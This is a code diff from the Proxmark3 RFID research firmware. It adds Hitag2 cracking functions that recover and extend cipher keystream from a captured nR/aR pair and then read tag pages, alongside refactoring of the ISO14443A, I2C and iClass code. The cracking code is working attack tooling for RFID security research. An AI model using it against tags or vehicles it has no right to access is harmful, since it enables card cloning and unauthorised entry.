bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
int conlen;
int numcmds;
int i;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
// calculate the length of keybits to consume with the extended command.
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
// cannot be longer than 510 bits to fit into the small RWD buffer.
conlen = kslen - *ksoffset - 42;
if (conlen < 10) {
UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
return false;
}
// sanitise conlen
if (conlen > 510) {
conlen = 510;
}
// calculate how many repeated commands to send in this extended command.
numcmds = conlen / 10;
// build extended command
for (i = 0; i < numcmds; i++) {
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
return false;
}
// dont bother decrypting the response - we already know the keybits
// update ksoffset with command length and response
*ksoffset += (numcmds * 10) + 32;
}
// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
// keybits is the binarray of the keystream bits;
// kslen is a pointer to the current keybits length;
// ksoffset is the offset into the keybits array;
// nrar is the 64 bit binarray of the nR aR pair;
// uid is the 32 bit binarray of the UID.
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
int cmdlen;
int numcmds;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
uint8_t e_response[32];
int i;
// calc number of command iterations to send
cmdlen = *kslen - ksoffset;
if (cmdlen < 10) {
UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
return false;
}
numcmds = cmdlen / 10;
// build extended command
for (i = 0; i < numcmds; i++) {
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
// send extended encrypted cmd
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0) {
UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
return false;
}
// convert response to binarray
hextobinarray(e_response, responsestr);
// recover keystream from encrypted response
hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
// update kslen
*kslen = ksoffset + (numcmds * 10) + 32;
return true;
}
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
uint8_t tmp[9];
int i;
response[0] = '\0';
// auth to tag
if (hitag2_crypto_auth(tmp, key)) {
// read tag, one page at a time
for (i = 0; i <= 7; ++i) {
if (!read_tag(tmp, i, i)) {
// if read fails, it could be because of auth,
// so try to reauth
if (!hitag2_crypto_auth(tmp, key)) {
// if we can't reauth, it's a real failure
return false;
}
// temp failure (probably due to page protections)
strcpy(tmp, "XXXXXXXX");
}
// page contents are in tmp
strcat(response, tmp);
}
if (interactive) {
tmp[8] = '\0';
for (i = 0; i <= 7 ; ++i) {
UserMessageNum("%d: ", i);
memcpy(tmp, response + (i * 8), 8);
UserMessage("%s\r\n", tmp);
}
UserMessage("%s", "\r\n");
} else {
hitag2_nvm_store_tag(response);
}
return true;
} else {
return false;
}
}

31
armsrc/hitag2crack.h Normal file
View file

@ -0,0 +1,31 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions hitag2 attack functions
//-----------------------------------------------------------------------------
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]);
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]);
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid);
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len);
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits);
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len);
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset);
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input);
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr);
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr);
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_send_auth(uint8_t *nrar);
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar);
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid);
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive);

File diff suppressed because it is too large Load diff

View file

@ -12,16 +12,9 @@
#ifndef _HITAGS_H_
#define _HITAGS_H_
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include "hitag2_crypto.h"
#include "common.h"
#include "hitag.h"
#include "proxmark3.h"
#include "apps.h"
#include "util.h"
#include "string.h"
#include "BigBuf.h"
void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data);
void ReadHitagS(hitag_function htf, hitag_data *htd);

View file

@ -10,6 +10,14 @@
//-----------------------------------------------------------------------------
#include "i2c.h"
#include "proxmark3_arm.h"
#include "cmd.h"
#include "BigBuf.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "string.h"
#define GPIO_RST AT91C_PIO_PA1
#define GPIO_SCL AT91C_PIO_PA5
#define GPIO_SDA AT91C_PIO_PA7
@ -26,7 +34,7 @@
volatile unsigned long c;
// Direct use the loop to delay. 6 instructions loop, Masterclock 48Mhz,
// Direct use the loop to delay. 6 instructions loop, Masterclock 48MHz,
// delay=1 is about 200kbps
// timer.
// I2CSpinDelayClk(4) = 12.31us
@ -41,7 +49,7 @@ void __attribute__((optimize("O0"))) I2CSpinDelayClk(uint16_t delay) {
#define ISO7618_MAX_FRAME 255
// try i2c bus recovery at 100kHz = 5uS high, 5uS low
// try i2c bus recovery at 100kHz = 5us high, 5us low
void I2C_recovery(void) {
DbpString("Performing i2c bus recovery");
@ -701,7 +709,7 @@ void SmartCardAtr(void) {
set_tracing(true);
I2C_Reset_EnterMainProgram();
bool isOK = GetATR(&card);
reply_old(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t));
reply_mix(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t));
set_tracing(false);
LEDsoff();
}
@ -752,7 +760,7 @@ void SmartCardRaw(uint64_t arg0, uint64_t arg1, uint8_t *data) {
}
}
OUT:
reply_old(CMD_ACK, len, 0, 0, resp, len);
reply_mix(CMD_ACK, len, 0, 0, resp, len);
BigBuf_free();
set_tracing(false);
LEDsoff();

View file

@ -1,10 +1,7 @@
#ifndef __I2C_H
#define __I2C_H
#include <stddef.h>
#include "proxmark3.h"
#include "apps.h"
#include "BigBuf.h"
#include "common.h"
#include "mifare.h"
#define I2C_DEVICE_ADDRESS_BOOT 0xB0
@ -18,7 +15,6 @@
#define I2C_DEVICE_CMD_GETVERSION 0x06
#define I2C_DEVICE_CMD_SEND_T0 0x07
void I2C_recovery(void);
void I2C_init(void);
void I2C_Reset(void);
@ -48,4 +44,5 @@ void SmartCardSetBaud(uint64_t arg0);
void SmartCardSetClock(uint64_t arg0);
void I2C_print_status(void);
int I2C_get_version(uint8_t *maj, uint8_t *min);
#endif

File diff suppressed because it is too large Load diff

29
armsrc/iclass.h Normal file
View file

@ -0,0 +1,29 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __ICLASS_H
#define __ICLASS_H
#include "common.h"
void RAMFUNC SniffIClass(void);
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void ReaderIClass(uint8_t arg0);
void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac);
void iClass_Authentication(uint8_t *mac);
void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain);
void iClass_WriteBlock(uint8_t blockno, uint8_t *data);
void iClass_ReadBlk(uint8_t blockno);
bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len);
void iClass_Dump(uint8_t blockno, uint8_t numblks);
void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data);
void iClass_ReadCheck(uint8_t blockno, uint8_t keytype);
#endif

View file

@ -11,8 +11,25 @@
//-----------------------------------------------------------------------------
#include "iso14443a.h"
#include "string.h"
#include "proxmark3_arm.h"
#include "cmd.h"
#include "appmain.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "parity.h"
#include "mifareutil.h"
#include "commonutil.h"
#include "crc16.h"
#include "protocols.h"
#define MAX_ISO14A_TIMEOUT 524288
static uint32_t iso14a_timeout;
// if iso14443a not active - transmit/receive dont try to execute
static bool hf_field_active = false;
uint8_t colpos = 0;
int rsamples = 0;
@ -23,7 +40,7 @@ static uint8_t iso14_pcb_blocknum = 0;
//
// ISO14443 timing:
//
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56Mhz) cycles
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56MHz) cycles
#define REQUEST_GUARD_TIME (7000/16 + 1)
// minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles
#define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1)
@ -91,7 +108,7 @@ static uint32_t LastProxToAirDuration;
// Sequence D: 11110000 modulation with subcarrier during first half
// Sequence E: 00001111 modulation with subcarrier during second half
// Sequence F: 00000000 no modulation with subcarrier
// Sequence COLL: 11111111 load modulation over the full bitlenght.
// Sequence COLL: 11111111 load modulation over the full bitlength.
// Tricks the reader to think that multiple cards answer (at least one card with 1 and at least one card with 0).
// READER TO CARD - miller
// Sequence X: 00001100 drop after half a period
@ -159,7 +176,7 @@ void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par) {
// Note 1: the bitstream may start at any time. We therefore need to sync.
// Note 2: the interpretation of Sequence Y and Z depends on the preceding sequence.
//-----------------------------------------------------------------------------
static tUart Uart;
static tUart14a Uart;
// Lookup-Table to decide if 4 raw bits are a modulation.
// We accept the following:
@ -174,12 +191,12 @@ const bool Mod_Miller_LUT[] = {
#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4])
#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)])
tUart *GetUart() {
tUart14a *GetUart14a() {
return &Uart;
}
void UartReset(void) {
Uart.state = STATE_UNSYNCD;
void Uart14aReset(void) {
Uart.state = STATE_14A_UNSYNCD;
Uart.bitCount = 0;
Uart.len = 0; // number of decoded data bytes
Uart.parityLen = 0; // number of decoded parity bytes
@ -192,17 +209,17 @@ void UartReset(void) {
Uart.syncBit = 9999;
}
void UartInit(uint8_t *data, uint8_t *par) {
void Uart14aInit(uint8_t *data, uint8_t *par) {
Uart.output = data;
Uart.parity = par;
UartReset();
Uart14aReset();
}
// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
Uart.fourBits = (Uart.fourBits << 8) | bit;
if (Uart.state == STATE_UNSYNCD) { // not yet synced
if (Uart.state == STATE_14A_UNSYNCD) { // not yet synced
Uart.syncBit = 9999; // not set
// 00x11111 2|3 ticks pause followed by 6|5 ticks unmodulated Sequence Z (a "0" or "start of communication")
@ -228,20 +245,20 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
Uart.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8);
Uart.startTime -= Uart.syncBit;
Uart.endTime = Uart.startTime;
Uart.state = STATE_START_OF_COMMUNICATION;
Uart.state = STATE_14A_START_OF_COMMUNICATION;
}
} else {
if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) {
if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error
UartReset();
Uart14aReset();
} else { // Modulation in first half = Sequence Z = logic "0"
if (Uart.state == STATE_MILLER_X) { // error - must not follow after X
UartReset();
if (Uart.state == STATE_14A_MILLER_X) { // error - must not follow after X
Uart14aReset();
} else {
Uart.bitCount++;
Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
Uart.state = STATE_MILLER_Z;
Uart.state = STATE_14A_MILLER_Z;
Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 6;
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
@ -260,7 +277,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1"
Uart.bitCount++;
Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg
Uart.state = STATE_MILLER_X;
Uart.state = STATE_14A_MILLER_X;
Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 2;
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
@ -274,8 +291,8 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
}
}
} else { // no modulation in both halves - Sequence Y
if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) { // Y after logic "0" - End of Communication
Uart.state = STATE_UNSYNCD;
if (Uart.state == STATE_14A_MILLER_Z || Uart.state == STATE_14A_MILLER_Y) { // Y after logic "0" - End of Communication
Uart.state = STATE_14A_UNSYNCD;
Uart.bitCount--; // last "0" was part of EOC sequence
Uart.shiftReg <<= 1; // drop it
if (Uart.bitCount > 0) { // if we decoded some bits
@ -292,15 +309,15 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
if (Uart.len) {
return true; // we are finished with decoding the raw data sequence
} else {
UartReset(); // Nothing received - start over
Uart14aReset(); // Nothing received - start over
}
}
if (Uart.state == STATE_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
UartReset();
if (Uart.state == STATE_14A_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
Uart14aReset();
} else { // a logic "0"
Uart.bitCount++;
Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
Uart.state = STATE_MILLER_Y;
Uart.state = STATE_14A_MILLER_Y;
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
Uart.parityBits <<= 1; // make room for the parity bit
@ -334,7 +351,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
// 8 ticks modulated: A collision. Save the collision position and treat as Sequence D
// Note 1: the bitstream may start at any time. We therefore need to sync.
// Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only)
tDemod Demod;
tDemod14a Demod;
// Lookup-Table to decide if 4 raw bits are a modulation.
// We accept three or four "1" in any position
@ -346,11 +363,11 @@ const bool Mod_Manchester_LUT[] = {
#define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4])
#define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)])
tDemod *GetDemod() {
tDemod14a *GetDemod14a() {
return &Demod;
}
void DemodReset(void) {
Demod.state = DEMOD_UNSYNCD;
void Demod14aReset(void) {
Demod.state = DEMOD_14A_UNSYNCD;
Demod.len = 0; // number of decoded data bytes
Demod.parityLen = 0;
Demod.shiftReg = 0; // shiftreg to hold decoded data bits
@ -365,17 +382,17 @@ void DemodReset(void) {
Demod.samples = 0;
}
void DemodInit(uint8_t *data, uint8_t *par) {
void Demod14aInit(uint8_t *data, uint8_t *par) {
Demod.output = data;
Demod.parity = par;
DemodReset();
Demod14aReset();
}
// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) {
Demod.twoBits = (Demod.twoBits << 8) | bit;
if (Demod.state == DEMOD_UNSYNCD) {
if (Demod.state == DEMOD_14A_UNSYNCD) {
if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
if (Demod.twoBits == 0x0000) {
@ -397,7 +414,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t
Demod.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8);
Demod.startTime -= Demod.syncBit;
Demod.bitCount = offset; // number of decoded data bits
Demod.state = DEMOD_MANCHESTER_DATA;
Demod.state = DEMOD_14A_MANCHESTER_DATA;
}
}
} else {
@ -453,7 +470,81 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t
if (Demod.len) {
return true; // we are finished with decoding the raw data sequence
} else { // nothing received. Start over
DemodReset();
Demod14aReset();
}
}
}
}
return false; // not finished yet, need more data
}
// Thinfilm, Kovio mangels ISO14443A in the way that they don't use start bit nor parity bits.
RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) {
Demod.twoBits = (Demod.twoBits << 8) | bit;
if (Demod.state == DEMOD_14A_UNSYNCD) {
if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
if (Demod.twoBits == 0x0000) {
Demod.highCnt++;
} else {
Demod.highCnt = 0;
}
} else {
Demod.syncBit = 0xFFFF; // not set
if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7;
else if ((Demod.twoBits & 0x3B80) == 0x3800) Demod.syncBit = 6;
else if ((Demod.twoBits & 0x1DC0) == 0x1C00) Demod.syncBit = 5;
else if ((Demod.twoBits & 0x0EE0) == 0x0E00) Demod.syncBit = 4;
else if ((Demod.twoBits & 0x0770) == 0x0700) Demod.syncBit = 3;
else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2;
else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1;
else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0;
if (Demod.syncBit != 0xFFFF) {
Demod.startTime = (GetCountSspClk() & 0xfffffff8);
Demod.startTime -= Demod.syncBit;
Demod.bitCount = 1; // number of decoded data bits
Demod.shiftReg = 1;
Demod.state = DEMOD_14A_MANCHESTER_DATA;
}
}
} else {
if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half
if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision
if (!Demod.collisionPos) {
Demod.collisionPos = (Demod.len << 3) + Demod.bitCount;
}
} // modulation in first half only - Sequence D = 1
Demod.bitCount++;
Demod.shiftReg = (Demod.shiftReg << 1) | 0x1; // in both cases, add a 1 to the shiftreg
if (Demod.bitCount == 8) { // if we decoded a full byte
Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
Demod.bitCount = 0;
Demod.shiftReg = 0;
}
Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1) - 4;
} else { // no modulation in first half
if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0
Demod.bitCount++;
Demod.shiftReg = (Demod.shiftReg << 1); // add a 0 to the shiftreg
if (Demod.bitCount >= 8) { // if we decoded a full byte
Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
Demod.bitCount = 0;
Demod.shiftReg = 0;
}
Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1);
} else { // no modulation in both halves - End of communication
if (Demod.bitCount > 0) { // there are some remaining data bits
Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits
Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output
return true;
}
if (Demod.len) {
return true; // we are finished with decoding the raw data sequence
} else { // nothing received. Start over
Demod14aReset();
}
}
}
@ -504,10 +595,10 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
bool ReaderIsActive = false;
// Set up the demodulator for tag -> reader responses.
DemodInit(receivedResp, receivedRespPar);
Demod14aInit(receivedResp, receivedRespPar);
// Set up the demodulator for the reader -> tag commands
UartInit(receivedCmd, receivedCmdPar);
Uart14aInit(receivedCmd, receivedCmdPar);
DbpString("Starting to sniff");
@ -581,13 +672,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
true)) break;
}
/* ready to receive another command. */
UartReset();
Uart14aReset();
/* reset the demod code, which might have been */
/* false-triggered by the commands from the reader. */
DemodReset();
Demod14aReset();
LED_B_OFF();
}
ReaderIsActive = (Uart.state != STATE_UNSYNCD);
ReaderIsActive = (Uart.state != STATE_14A_UNSYNCD);
}
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
@ -606,13 +697,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
if ((!triggered) && (param & 0x01)) triggered = true;
// ready to receive another response.
DemodReset();
Demod14aReset();
// reset the Miller decoder including its (now outdated) input buffer
UartReset();
//UartInit(receivedCmd, receivedCmdPar);
Uart14aReset();
//Uart14aInit(receivedCmd, receivedCmdPar);
LED_C_OFF();
}
TagIsActive = (Demod.state != DEMOD_UNSYNCD);
TagIsActive = (Demod.state != DEMOD_14A_UNSYNCD);
}
}
@ -624,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
}
} // end main loop
FpgaDisableTracing();
if (DBGLEVEL >= DBG_ERROR) {
Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len);
Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]);
@ -741,7 +834,7 @@ static void Code4bitAnswerAsTag(uint8_t cmd) {
//-----------------------------------------------------------------------------
// Wait for commands from reader
// stop when button is pressed
// stop when button is pressed or client usb connection resets
// or return TRUE when command is captured
//-----------------------------------------------------------------------------
static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *len) {
@ -752,7 +845,7 @@ static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
// Now run a `software UART` on the stream of incoming samples.
UartInit(received, par);
Uart14aInit(received, par);
// clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
@ -912,7 +1005,7 @@ static bool SimulateIso14443aInit(int tagType, int flags, uint8_t *data, tag_res
}
break;
default: {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unkown tagtype (%d)", tagType);
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unknown tagtype (%d)", tagType);
return false;
}
break;
@ -1071,7 +1164,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_EINIT, NULL, 0);
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
return;
}
@ -1092,7 +1185,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
#define ORDER_SELECT_CL2 30
#define ORDER_EV1_COMP_WRITE 40
#define ORDER_RATS 70
int order = ORDER_NONE;
uint8_t order = ORDER_NONE;
int retval = PM3_SUCCESS;
@ -1191,7 +1284,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
ar_nr_nonces[index].state = SECOND;
// send to client (one struct nonces_t)
reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t));
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t));
ar_nr_nonces[index].state = EMPTY;
ar_nr_nonces[index].sector = 0;
@ -1515,7 +1608,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
Dbprintf("-[ Num of moebius tries [%d]", moebius_count);
}
reply_ng(CMD_SIMULATE_MIFARE_CARD, retval, NULL, 0);
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
}
// prepare a delayed transfer. This simply shifts ToSend[] by a number
@ -1551,6 +1644,9 @@ void PrepareDelayedTransfer(uint16_t delay) {
//-------------------------------------------------------------------------------------
static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing) {
if (!hf_field_active)
return;
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
if (timing) {
@ -1573,19 +1669,11 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing
LastTimeProxToAirStart = ThisTransferTime;
}
// clear TXRDY
AT91C_BASE_SSC->SSC_THR = SEC_Y;
volatile uint8_t b;
uint16_t c = 0;
while (c < len) {
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
AT91C_BASE_SSC->SSC_THR = cmd[c++];
}
//iceman test
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR);
(void)b;
AT91C_BASE_SSC->SSC_THR = cmd[c];
c++;
}
}
@ -1699,12 +1787,18 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
ADC_MODE_PRESCALE(63) |
ADC_MODE_STARTUP_TIME(1) |
ADC_MODE_SAMPLE_HOLD_TIME(15);
#if defined RDV4
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40);
#else
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF);
#endif
// start ADC
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
// Now run a 'software UART' on the stream of incoming samples.
UartInit(received, par);
Uart14aInit(received, par);
// Clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
@ -1723,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
++check;
// test if the field exists
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
#if defined RDV4
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) {
analogCnt++;
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40];
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
if (analogCnt >= 32) {
if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
if (timer == 0) {
timer = GetTickCount();
} else {
@ -1744,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
analogAVG = 0;
}
}
#else
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
analogCnt++;
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
if (analogCnt >= 32) {
if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
if (timer == 0) {
timer = GetTickCount();
} else {
// 50ms no field --> card to idle state
if (GetTickCountDelta(timer) > 50) {
return 2;
}
}
} else {
timer = 0;
}
analogCnt = 0;
analogAVG = 0;
}
}
#endif
// receive and test the miller decoding
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
@ -1916,12 +2046,15 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start
}
//-----------------------------------------------------------------------------
// Kovio - Thinfilm barcode. TAG-TALK-FIRST -
// Wait a certain time for tag response
// If a response is captured return TRUE
// If it takes too long return FALSE
//-----------------------------------------------------------------------------
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) {
uint32_t c = 0;
